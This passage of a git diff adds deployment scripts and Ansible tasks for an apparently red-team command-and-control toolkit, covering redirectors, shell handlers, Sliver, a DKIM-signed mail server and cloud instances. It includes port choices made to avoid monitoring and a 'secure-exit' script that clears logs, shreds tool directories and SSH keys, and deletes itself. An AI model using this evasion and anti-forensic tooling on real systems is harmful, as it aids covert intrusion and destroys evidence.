"y" ]; then + run_redirector_setup + fi +fi + +echo -e "\n${GREEN}Post-installation checks complete!${NC}" +echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}" +echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}" \ No newline at end of file diff --git a/common/files/post_install_redirector.sh b/common/files/post_install_redirector.sh new file mode 100644 index 0000000..3925f35 --- /dev/null +++ b/common/files/post_install_redirector.sh @@ -0,0 +1,158 @@ +#!/bin/bash +# post_install_redirector.sh - Post-installation setup for redirector + +# ANSI color codes +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +RED='\033[0;31m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +echo -e "${BLUE}==================================================${NC}" +echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}" +echo -e "${BLUE}==================================================${NC}" + +# Function to check if domain resolves to current IP +check_dns() { + domain=$1 + current_ip=$(curl -s ifconfig.me) + resolved_ip=$(dig +short $domain) + + if [ "$resolved_ip" = "$current_ip" ]; then + echo -e "${GREEN}DNS check passed for $domain!${NC}" + return 0 + else + echo -e "${YELLOW}DNS check failed for $domain${NC}" + echo -e "Current IP: $current_ip" + echo -e "Resolved IP: $resolved_ip or not set" + return 1 + fi +} + +# Function to set up Let's Encrypt +setup_letsencrypt() { + domain=$1 + email=$2 + + echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}" + + # Check if certificate already exists + if [ -d "/etc/letsencrypt/live/$domain" ]; then + echo -e "${YELLOW}Certificate already exists for $domain${NC}" + read -p "Do you want to renew it? (y/n): " renew + if [ "$renew" != "y" ]; then + echo -e "${YELLOW}Skipping certificate renewal${NC}" + return 0 + fi + fi + + # Stop nginx if running to free up port 80 + systemctl stop nginx 2>/dev/null + + # Get certificate + certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive + + if [ $? -eq 0 ]; then + echo -e "${GREEN}Successfully obtained certificate for $domain${NC}" + return 0 + else + echo -e "${RED}Failed to obtain certificate for $domain${NC}" + return 1 + fi +} + +# Function to update NGINX configuration +update_nginx_config() { + domain=$1 + + # Check if NGINX config exists and contains the domain + if [ -f "/etc/nginx/sites-available/default" ]; then + if grep -q "$domain" "/etc/nginx/sites-available/default"; then + echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}" + + # Update SSL certificate paths + sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default + sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default + + echo -e "${GREEN}NGINX configuration updated${NC}" + else + echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}" + fi + else + echo -e "${RED}NGINX configuration file not found${NC}" + fi +} + +# Function to start services +start_services() { + echo -e "\n${BLUE}Starting required services${NC}" + + # Start nginx + systemctl start nginx + if [ $? -eq 0 ]; then + echo -e "${GREEN}NGINX started successfully${NC}" + systemctl enable nginx + else + echo -e "${RED}Failed to start NGINX${NC}" + fi + + # Start shell handler + systemctl start shell-handler + if [ $? -eq 0 ]; then + echo -e "${GREEN}Shell handler started successfully${NC}" + systemctl enable shell-handler + else + echo -e "${RED}Failed to start shell handler${NC}" + fi +} + +# Function to display port information +show_port_info() { + # Display shell handler port + if [ -f "/etc/systemd/system/shell-handler.service" ]; then + SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2) + echo -e "\n${BLUE}Shell Handler Port Information:${NC}" + echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}" + fi + + # Display nginx listening ports + echo -e "\n${BLUE}NGINX Listening Ports:${NC}" + netstat -tulnp | grep nginx +} + +# Main execution +echo -e "\n${BLUE}Beginning redirector setup process...${NC}" + +# Get domain information +read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain +read -p "Enter email for Let's Encrypt: " email + +# Check if DNS is properly configured +echo -e "\n${BLUE}Checking DNS configuration...${NC}" +check_dns $redirector_domain + +# Confirm proceeding even if DNS check fails +if [ $? -ne 0 ]; then + echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}" + echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}" + read -p "Do you want to proceed anyway? (y/n): " proceed + if [ "$proceed" != "y" ]; then + echo -e "${RED}Setup aborted.${NC}" + exit 1 + fi +fi + +# Set up Let's Encrypt +setup_letsencrypt $redirector_domain $email + +# Update NGINX configuration +update_nginx_config $redirector_domain + +# Start services +start_services + +# Show port information +show_port_info + +echo -e "\n${GREEN}Redirector setup complete!${NC}" +echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}" \ No newline at end of file diff --git a/common/files/randomize_ports.sh b/common/files/randomize_ports.sh new file mode 100644 index 0000000..f1d45cd --- /dev/null +++ b/common/files/randomize_ports.sh @@ -0,0 +1,224 @@ +#!/bin/bash +# randomize_ports.sh - Generate and set random ports for C2 services + +# ANSI color codes +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +RED='\033[0;31m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +echo -e "${BLUE}==================================================${NC}" +echo -e "${BLUE} C2ingRed Port Randomization ${NC}" +echo -e "${BLUE}==================================================${NC}" + +# Define port range (avoid well-known and commonly monitored ports) +MIN_PORT=10000 +MAX_PORT=60000 + +# Define list of ports to avoid (commonly used services and monitoring tools) +AVOID_PORTS=(22 80 443 3389 5985 5986 3306 5432 1433 8080 8443 9090 9091 8008 4444 5555 1234 4321 31337 50051) + +# Function to check if a port is in the avoid list +is_port_avoided() { + local port=$1 + for avoid_port in "${AVOID_PORTS[@]}"; do + if [ "$port" -eq "$avoid_port" ]; then + return 0 # Port should be avoided + fi + done + return 1 # Port is fine to use +} + +# Function to check if a port is already in use +is_port_in_use() { + local port=$1 + if ss -tuln | grep -q ":$port "; then + return 0 # Port is in use + fi + return 1 # Port is not in use +} + +# Function to generate a random port number +generate_random_port() { + local attempts=0 + local max_attempts=20 + local port + + while [ $attempts -lt $max_attempts ]; do + port=$((RANDOM % (MAX_PORT - MIN_PORT) + MIN_PORT)) + + # Check if port is in avoid list or already in use + if ! is_port_avoided $port && ! is_port_in_use $port; then + echo $port + return 0 + fi + + attempts=$((attempts + 1)) + done + + # If we reach here, we couldn't find a suitable port + echo "Error: Could not find a suitable random port after $max_attempts attempts" >&2 + return 1 +} + +# Generate random ports for different services +HTTP_C2_PORT=$(generate_random_port) +HTTPS_C2_PORT=$(generate_random_port) +MTLS_C2_PORT=$(generate_random_port) +SHELL_HANDLER_PORT=$(generate_random_port) +BEACON_SERVER_PORT=$(generate_random_port) +ADMIN_PORT=$(generate_random_port) + +# Print the generated ports +echo -e "\n${GREEN}Generated random ports:${NC}" +echo -e "HTTP C2 Port: ${YELLOW}$HTTP_C2_PORT${NC}" +echo -e "HTTPS C2 Port: ${YELLOW}$HTTPS_C2_PORT${NC}" +echo -e "MTLS C2 Port: ${YELLOW}$MTLS_C2_PORT${NC}" +echo -e "Shell Handler Port: ${YELLOW}$SHELL_HANDLER_PORT${NC}" +echo -e "Beacon Server Port: ${YELLOW}$BEACON_SERVER_PORT${NC}" +echo -e "Admin Port: ${YELLOW}$ADMIN_PORT${NC}" + +# Create a port configuration file +PORT_CONFIG="/root/Tools/port_config.json" +cat > $PORT_CONFIG << EOF +{ + "http_c2_port": $HTTP_C2_PORT, + "https_c2_port": $HTTPS_C2_PORT, + "mtls_c2_port": $MTLS_C2_PORT, + "shell_handler_port": $SHELL_HANDLER_PORT, + "beacon_server_port": $BEACON_SERVER_PORT, + "admin_port": $ADMIN_PORT +} +EOF + +echo -e "\n${GREEN}Port configuration saved to $PORT_CONFIG${NC}" + +# Function to update Sliver configuration +update_sliver_config() { + local sliver_config="/root/.sliver/configs/daemon.json" + + if [ -f "$sliver_config" ]; then + echo -e "\n${BLUE}Updating Sliver daemon configuration...${NC}" + cp "$sliver_config" "${sliver_config}.bak" + + # Check if jq is installed + if ! command -v jq &> /dev/null; then + echo -e "${YELLOW}jq not found, installing...${NC}" + apt-get update && apt-get install -y jq + fi + + # Update the configuration with jq + jq ".daemon_port = $MTLS_C2_PORT | .daemon_http_port = $HTTP_C2_PORT | .daemon_https_port = $HTTPS_C2_PORT" "${sliver_config}.bak" > "$sliver_config" + + echo -e "${GREEN}Sliver configuration updated successfully${NC}" + + # Restart Sliver service + echo -e "${BLUE}Restarting Sliver service...${NC}" + systemctl restart sliver + else + echo -e "${YELLOW}Sliver configuration file not found at $sliver_config${NC}" + fi +} + +# Function to update shell handler configuration +update_shell_handler() { + local handler_script="/root/Tools/shell-handler/persistent-listener.sh" + + if [ -f "$handler_script" ]; then + echo -e "\n${BLUE}Updating shell handler configuration...${NC}" + + # Update the port in the script + sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$SHELL_HANDLER_PORT/" "$handler_script" + + # Update the service if it exists + local service_file="/etc/systemd/system/shell-handler.service" + if [ -f "$service_file" ]; then + # Add environment variable to service file if not already present + if ! grep -q "Environment=\"LISTEN_PORT=" "$service_file"; then + sed -i "/\[Service\]/a Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"" "$service_file" + else + sed -i "s/Environment=\"LISTEN_PORT=.*/Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"/" "$service_file" + fi + + # Reload systemd and restart the service + systemctl daemon-reload + systemctl restart shell-handler + fi + + echo -e "${GREEN}Shell handler updated to use port $SHELL_HANDLER_PORT${NC}" + else + echo -e "${YELLOW}Shell handler script not found at $handler_script${NC}" + fi +} + +# Function to update beacon server configuration +update_beacon_server() { + local beacon_script="/root/Tools/serve-beacons.sh" + + if [ -f "$beacon_script" ]; then + echo -e "\n${BLUE}Updating beacon server configuration...${NC}" + + # Update the port in the script + sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$BEACON_SERVER_PORT/" "$beacon_script" + + # Restart the beacon server if it's running + if pgrep -f "serve-beacons.sh" > /dev/null; then + echo -e "${YELLOW}Stopping running beacon server...${NC}" + pkill -f "serve-beacons.sh" + + echo -e "${GREEN}Starting beacon server with new port...${NC}" + nohup "$beacon_script" > /dev/null 2>&1 & + fi + + echo -e "${GREEN}Beacon server updated to use port $BEACON_SERVER_PORT${NC}" + else + echo -e "${YELLOW}Beacon server script not found at $beacon_script${NC}" + fi +} + +# Function to update NGINX configuration for the redirector +update_nginx_redirector() { + local nginx_config="/etc/nginx/sites-available/default" + + if [ -f "$nginx_config" ]; then + echo -e "\n${BLUE}Updating NGINX redirector configuration...${NC}" + + # Update configuration to use new ports + # Note: This assumes standard format used in the C2ingRed templates + if grep -q "proxy_pass http://.*:" "$nginx_config"; then + sed -i "s|proxy_pass http://.*:8888;|proxy_pass http://{{ c2_ip }}:$HTTP_C2_PORT;|g" "$nginx_config" + sed -i "s|proxy_pass https://.*:443;|proxy_pass https://{{ c2_ip }}:$HTTPS_C2_PORT;|g" "$nginx_config" + + # Update stream configuration if it exists + local stream_config="/etc/nginx/modules-enabled/stream.conf" + if [ -f "$stream_config" ]; then + sed -i "s|proxy_pass .*:31337;|proxy_pass {{ c2_ip }}:$MTLS_C2_PORT;|g" "$stream_config" + sed -i "s|proxy_pass .*:50051;|proxy_pass {{ c2_ip }}:$HTTP_C2_PORT;|g" "$stream_config" + fi + + # Reload NGINX + systemctl reload nginx + + echo -e "${GREEN}NGINX configuration updated to use new ports${NC}" + else + echo -e "${YELLOW}Could not find proxy_pass directives in NGINX config${NC}" + fi + else + echo -e "${YELLOW}NGINX configuration file not found at $nginx_config${NC}" + fi +} + +# Apply the configuration updates +update_sliver_config +update_shell_handler +update_beacon_server +update_nginx_redirector + +echo -e "\n${GREEN}Port randomization complete!${NC}" +echo -e "${YELLOW}Remember to update any firewall rules to allow traffic on these ports.${NC}" +echo -e "${YELLOW}You should also update your DNS records if they contain SRV records that specify ports.${NC}" + +# Display the new port configuration again for reference +echo -e "\n${BLUE}New Port Configuration:${NC}" +cat $PORT_CONFIG | jq \ No newline at end of file diff --git a/common/files/rubber-ducky.txt b/common/files/rubber-ducky.txt new file mode 100644 index 0000000..26fd59d --- /dev/null +++ b/common/files/rubber-ducky.txt @@ -0,0 +1,4 @@ +OMITTED โ€” HID injection payload + +This file contains a Rubber Ducky / Bash Bunny script for physical-access +scenarios. Payloads are engagement-specific and omitted from public release. diff --git a/common/files/secure-exit.sh b/common/files/secure-exit.sh new file mode 100644 index 0000000..9dcd22d --- /dev/null +++ b/common/files/secure-exit.sh @@ -0,0 +1,96 @@ +#!/bin/bash +# Secure cleanup script for terminating the C2 infrastructure + +# Configuration +SECURE_DELETE_PASSES=7 +MEMORY_WIPE=true +SELF_DESTRUCT=false # Set to true for complete instance termination (if API available) + +# Set secure umask +umask 077 + +# Function to securely delete files +secure_delete() { + local target=$1 + echo "[+] Securely deleting: $target" + + if command -v srm > /dev/null; then + srm -vzf $target 2>/dev/null + elif command -v shred > /dev/null; then + shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null + else + # Fallback to dd if specialized tools aren't available + dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null + dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null + rm -f $target 2>/dev/null + fi +} + +echo "[+] Beginning secure exit procedure..." + +# Stop all operational services +echo "[+] Stopping operational services..." +services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot") +for service in "${services[@]}"; do + systemctl stop $service 2>/dev/null + service $service stop 2>/dev/null +done + +# Kill any remaining operational processes +echo "[+] Terminating operational processes..." +process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor") +for proc in "${process_names[@]}"; do + pkill -9 $proc 2>/dev/null +done + +# Clear all logs +echo "[+] Clearing logs..." +bash /root/Tools/clean-logs.sh + +# Securely delete operational files +echo "[+] Removing operational files..." +operational_dirs=( + "/root/Tools" + "/root/Tools/beacons" + "/root/Tools/payloads" + "/root/.sliver" + "/root/.msf4" + "/root/.gophish" + "/root/Tools" + "/home/*/Tools" + "/var/www/html" +) + +for dir in "${operational_dirs[@]}"; do + find $dir -type f 2>/dev/null | while read file; do + secure_delete "$file" + done + rm -rf $dir 2>/dev/null +done + +# Remove SSH keys +echo "[+] Removing SSH keys and configs..." +find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do + secure_delete "$file" +done + +# Clean memory if requested +if $MEMORY_WIPE; then + echo "[+] Wiping system memory..." + sync + echo 3 > /proc/sys/vm/drop_caches + swapoff -a + swapon -a +fi + +# Self-destruct if configured (for cloud providers with API access) +if $SELF_DESTRUCT; then + echo "[+] Initiating self-destruct sequence..." + # This would typically call the cloud provider's API to terminate the instance + # For FlokiNET, this would need to be handled manually +fi + +echo "[+] Secure exit completed. Infrastructure has been sanitized." + +# Remove this script itself +exec shred -n $SECURE_DELETE_PASSES -uz $0 \ No newline at end of file diff --git a/common/tasks/cleanup_confirmation.yml b/common/tasks/cleanup_confirmation.yml new file mode 100644 index 0000000..22763f7 --- /dev/null +++ b/common/tasks/cleanup_confirmation.yml @@ -0,0 +1,25 @@ +# tasks/cleanup_confirmation.yml - Common task file for cleanup confirmation +- name: Show cleanup information + debug: + msg: | + ************************************************ + * CLEANUP OPERATION * + ************************************************ + The following resources will be DELETED PERMANENTLY: + {% if cleanup_redirector and redirector_name is defined %} + - Redirector: {{ redirector_name }} ({{ redirector_ip | default('IP unknown') }}) + {% endif %} + {% if cleanup_c2 and c2_name is defined %} + - C2 Server: {{ c2_name }} ({{ c2_ip | default('IP unknown') }}) + {% endif %} + when: confirm_cleanup | bool + +- name: Confirm cleanup operation + pause: + prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<" + register: confirmation + when: confirm_cleanup | bool + +- name: Skip cleanup if not confirmed + meta: end_play + when: confirm_cleanup | bool and confirmation.user_input != 'yes' \ No newline at end of file diff --git a/common/tasks/configure_mail.yml b/common/tasks/configure_mail.yml new file mode 100644 index 0000000..b090046 --- /dev/null +++ b/common/tasks/configure_mail.yml @@ -0,0 +1,352 @@ +--- +# Common task for configuring mail server +# Shared across all providers + +- name: Set default SMTP auth credentials if not defined + set_fact: + smtp_auth_user: "{{ smtp_auth_user | default('admin') }}" + smtp_auth_pass: "{{ smtp_auth_pass | default(lookup('password', '/tmp/smtp_auth_pass_' + deployment_id + ' length=16 chars=ascii_letters,digits')) }}" + +- name: Configure Postfix main.cf + lineinfile: + path: /etc/postfix/main.cf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" } + - { regexp: '^mydomain', line: "mydomain = {{ domain }}" } + - { regexp: '^myorigin', line: "myorigin = $mydomain" } + - { regexp: '^inet_interfaces', line: "inet_interfaces = all" } + - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" } + - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" } + - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" } + - { regexp: '^relay_domains', line: "relay_domains = $mydestination" } + - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" } + - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" } + - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" } + - { regexp: '^milter_default_action', line: "milter_default_action = accept" } + - { regexp: '^milter_protocol', line: "milter_protocol = 6" } + - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + +- name: Check if SSL certificates exist + stat: + path: "/etc/letsencrypt/live/{{ domain }}/fullchain.pem" + register: ssl_cert_exists + +- name: Configure Postfix SSL settings (if certificates exist) + lineinfile: + path: /etc/postfix/main.cf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" } + - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" } + - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" } + - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" } + when: ssl_cert_exists.stat.exists + +- name: Configure Postfix SSL settings (if certificates don't exist - use opportunistic TLS) + lineinfile: + path: /etc/postfix/main.cf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = may" } + - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = no" } + when: not ssl_cert_exists.stat.exists + +- name: Configure OpenDKIM + lineinfile: + path: /etc/opendkim.conf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^Domain', line: "Domain {{ domain }}" } + - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" } + - { regexp: '^Selector', line: "Selector mail" } + - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^Syslog', line: "Syslog yes" } + - { regexp: '^UMask', line: "UMask 002" } + - { regexp: '^Mode', line: "Mode sv" } + +- name: Create OpenDKIM socket directory + file: + path: /var/spool/postfix/opendkim + state: directory + owner: opendkim + group: postfix + mode: 0755 + +- name: Create DKIM directory + file: + path: /etc/opendkim/keys/{{ domain }} + state: directory + owner: opendkim + group: opendkim + mode: 0700 + +- name: Generate DKIM keys + command: > + opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail + args: + creates: /etc/opendkim/keys/{{ domain }}/mail.private + +- name: Set permissions for DKIM keys + file: + path: /etc/opendkim/keys/{{ domain }}/mail.private + owner: opendkim + group: opendkim + mode: 0600 + +- name: Configure OpenDKIM TrustedHosts + copy: + content: | + 127.0.0.1 + ::1 + localhost + {{ domain }} + dest: /etc/opendkim/TrustedHosts + owner: opendkim + group: opendkim + mode: 0644 + +- name: Enable submission port (587) in master.cf (with SSL) + blockinfile: + path: /etc/postfix/master.cf + insertafter: '^#submission' + block: | + submission inet n - y - - smtpd + -o syslog_name=postfix/submission + -o smtpd_tls_security_level=encrypt + -o smtpd_sasl_auth_enable=yes + -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject + -o smtpd_relay_restrictions=permit_sasl_authenticated,reject + when: ssl_cert_exists.stat.exists + +- name: Enable submission port (587) in master.cf (without SSL requirements) + blockinfile: + path: /etc/postfix/master.cf + insertafter: '^#submission' + block: | + submission inet n - y - - smtpd + -o syslog_name=postfix/submission + -o smtpd_tls_security_level=may + -o smtpd_sasl_auth_enable=yes + -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject + -o smtpd_relay_restrictions=permit_sasl_authenticated,reject + when: not ssl_cert_exists.stat.exists + +- name: Configure Dovecot for Postfix SASL + blockinfile: + path: /etc/dovecot/conf.d/10-master.conf + insertafter: '^service auth {' + block: | + # Postfix smtp-auth + unix_listener /var/spool/postfix/private/auth { + mode = 0660 + user = postfix + group = postfix + } + +- name: Set Dovecot auth_mechanisms + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^auth_mechanisms' + line: 'auth_mechanisms = plain login' + +- name: Create Dovecot password file for SASL authentication + file: + path: /etc/dovecot/passwd + state: touch + mode: '0600' + owner: dovecot + group: dovecot + +- name: Add SMTP auth user to Dovecot + lineinfile: + path: /etc/dovecot/passwd + line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}" + +- name: Display SMTP authentication credentials (if generated) + debug: + msg: | + SMTP Authentication Credentials (Generated): + Username: {{ smtp_auth_user }} + Password: {{ smtp_auth_pass }} + + Save these credentials for email client configuration. + when: smtp_auth_pass is defined and smtp_auth_pass != "" + +- name: Disable system auth and use passwd-file + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^!include auth-system.conf.ext' + line: '#!include auth-system.conf.ext' + +- name: Create custom auth configuration file + copy: + dest: /etc/dovecot/conf.d/auth-c2itall.conf.ext + content: | + passdb { + driver = passwd-file + args = scheme=sha512_crypt /etc/dovecot/passwd + } + + userdb { + driver = static + args = uid=vmail gid=vmail home=/var/vmail/%u + } + mode: '0644' + owner: root + group: root + +- name: Include custom auth configuration + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + insertafter: 'auth_mechanisms = plain login' + line: '!include auth-c2itall.conf.ext' + +- name: Create vmail group + group: + name: vmail + gid: 5000 + state: present + +- name: Create vmail user + user: + name: vmail + uid: 5000 + group: vmail + create_home: no + +- name: Create vmail directory structure + file: + path: /var/vmail + state: directory + owner: vmail + group: vmail + mode: 0700 + +- name: Start and enable OpenDKIM service + service: + name: opendkim + state: started + enabled: yes + ignore_errors: true + +- name: Check Postfix configuration syntax + command: postfix check + register: postfix_config_check + failed_when: false + +- name: Display Postfix configuration errors if any + debug: + msg: "Postfix configuration check result: {{ postfix_config_check.stdout_lines }}" + when: postfix_config_check.rc != 0 + +- name: Restart Postfix + service: + name: postfix + state: restarted + ignore_errors: true + register: postfix_restart_result + +- name: Display Postfix restart error details + block: + - name: Get systemctl status for Postfix + command: systemctl status postfix.service + register: postfix_status + failed_when: false + + - name: Get journal logs for Postfix + command: journalctl -xeu postfix.service --no-pager -n 20 + register: postfix_logs + failed_when: false + + - name: Display Postfix status and logs + debug: + msg: | + Postfix Status: + {{ postfix_status.stdout }} + + Postfix Logs: + {{ postfix_logs.stdout }} + when: postfix_restart_result.failed + +- name: Continue without Postfix if restart fails + debug: + msg: "Postfix failed to start but continuing deployment. Email services may not be available." + when: postfix_restart_result.failed + +- name: Remove OpenDKIM configuration from Postfix if restart failed + lineinfile: + path: /etc/postfix/main.cf + regexp: "{{ item }}" + state: absent + with_items: + - '^smtpd_milters' + - '^non_smtpd_milters' + - '^milter_default_action' + - '^milter_protocol' + when: postfix_restart_result.failed + ignore_errors: true + +- name: Retry Postfix restart without OpenDKIM + service: + name: postfix + state: restarted + when: postfix_restart_result.failed + ignore_errors: true + register: postfix_retry_result + +- name: Display final Postfix status + debug: + msg: | + Postfix final status: {{ 'Running' if not postfix_retry_result.failed else 'Failed' }} + Email services: {{ 'Limited functionality' if postfix_restart_result.failed else 'Fully operational' }} + when: postfix_restart_result.failed + +- name: Check Dovecot configuration syntax + command: dovecot -n + register: dovecot_config_check + failed_when: false + +- name: Display Dovecot configuration errors if any + debug: + msg: "Dovecot configuration check result: {{ dovecot_config_check.stdout_lines }}" + when: dovecot_config_check.rc != 0 + +- name: Restart Dovecot + service: + name: dovecot + state: restarted + ignore_errors: true + register: dovecot_restart_result + +- name: Display Dovecot restart error details + block: + - name: Get systemctl status for Dovecot + command: systemctl status dovecot.service + register: dovecot_status + failed_when: false + + - name: Get journal logs for Dovecot + command: journalctl -xeu dovecot.service --no-pager -n 20 + register: dovecot_logs + failed_when: false + + - name: Display Dovecot status and logs + debug: + msg: | + Dovecot Status: + {{ dovecot_status.stdout }} + + Dovecot Logs: + {{ dovecot_logs.stdout }} + when: dovecot_restart_result.failed + +- name: Continue without Dovecot if restart fails + debug: + msg: "Dovecot failed to start but continuing deployment. Email services may not be available." + when: dovecot_restart_result.failed \ No newline at end of file diff --git a/common/tasks/initial-infrastructure.yml b/common/tasks/initial-infrastructure.yml new file mode 100644 index 0000000..1290793 --- /dev/null +++ b/common/tasks/initial-infrastructure.yml @@ -0,0 +1,85 @@ +--- +# Linode/initial-infrastructure.yml +# This playbook only creates the Linode instances without trying to configure them +# This separation makes the deployment more reliable + +- name: Create Linode infrastructure + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Default values if not provided + ssh_user: "{{ ssh_user | default('root') }}" + linode_region: "{{ linode_region | default(region_choices | random) }}" + plan: "{{ plan | default('g6-standard-2') }}" + image: "{{ image | default('linode/kali') }}" + + # Determine what to deploy based on configuration + deploy_redirector: "{{ not (c2_only | default(false)) }}" + deploy_c2: "{{ not (redirector_only | default(false)) }}" + + # Generate random names if not provided + redirector_name: "{{ redirector_name | default('srv-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" + c2_name: "{{ c2_name | default('node-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" + + tasks: + - name: Validate required Linode token + assert: + that: + - linode_token is defined and linode_token != "" + fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token." + + - name: Create redirector Linode instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ redirector_name }}" + type: "{{ plan }}" + region: "{{ linode_region }}" + image: "{{ image }}" + root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}" + authorized_keys: + - "{{ lookup('file', ssh_key_path) }}" + state: present + register: redirector_instance + when: deploy_redirector + + - name: Set redirector_ip for later use + set_fact: + redirector_instance_id: "{{ redirector_instance.instance.id }}" + redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}" + when: deploy_redirector and redirector_instance is defined + + - name: Create C2 Linode instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ c2_name }}" + type: "{{ plan }}" + region: "{{ linode_region }}" + image: "{{ image }}" + root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}" + authorized_keys: + - "{{ lookup('file', ssh_key_path) }}" + state: present + register: c2_instance + when: deploy_c2 + + - name: Set c2_ip for later use + set_fact: + c2_instance_id: "{{ c2_instance.instance.id }}" + c2_ip: "{{ c2_instance.instance.ipv4[0] }}" + when: deploy_c2 and c2_instance is defined + + - name: Display instance information + debug: + msg: + - "Linode instances created successfully!" + - "Waiting for instances to initialize..." + - "{{ 'Redirector IP: ' + redirector_ip if redirector_ip is defined else 'No redirector deployed' }}" + - "{{ 'C2 Server IP: ' + c2_ip if c2_ip is defined else 'No C2 server deployed' }}" + + - name: Wait for instances to initialize (30 seconds) + pause: + seconds: 30 + when: (deploy_redirector and redirector_instance is defined) or (deploy_c2 and c2_instance is defined) \ No newline at end of file diff --git a/common/tasks/install_tools.yml b/common/tasks/install_tools.yml new file mode 100644 index 0000000..04e0b03 --- /dev/null +++ b/common/tasks/install_tools.yml @@ -0,0 +1,179 @@ +--- +# Common task for installing offensive security tools +# Shared across all providers + +- name: Force tools directory to root regardless of user + set_fact: + home_dir: "/root" + tools_dir: "/root/Tools" + when: provider == "aws" + +- name: Determine home directory path + set_fact: + home_dir: "{{ (ansible_user == 'root') | ternary('/root', '/home/' + ansible_user) }}" + tools_dir: "{{ (ansible_user == 'root') | ternary('/root/Tools', '/home/' + ansible_user + '/Tools') }}" + +- name: Create Tools directory + file: + path: "{{ tools_dir }}" + state: directory + owner: "{{ ansible_user }}" + group: "{{ ansible_user }}" + mode: '0755' + +- name: Install base dependencies + apt: + name: + - python3-pip + - python3-venv + - pipx + - curl + - wget + - git + - jq + - unzip + - tmux + state: present + update_cache: yes + +- name: Check if pipx is installed + command: which pipx + register: pipx_check + ignore_errors: true + changed_when: false + +- name: Configure pipx path + shell: | + export PATH="$PATH:{{ home_dir }}/.local/bin" + pipx ensurepath + args: + executable: /bin/bash + register: pipx_path_result + until: pipx_path_result is success + retries: 3 + delay: 5 + when: pipx_check.rc == 0 + +- name: Set PATH for subsequent operations + set_fact: + custom_path: "{{ home_dir }}/.local/bin:{{ ansible_env.PATH }}" + +- name: Install tools via pipx + shell: | + export 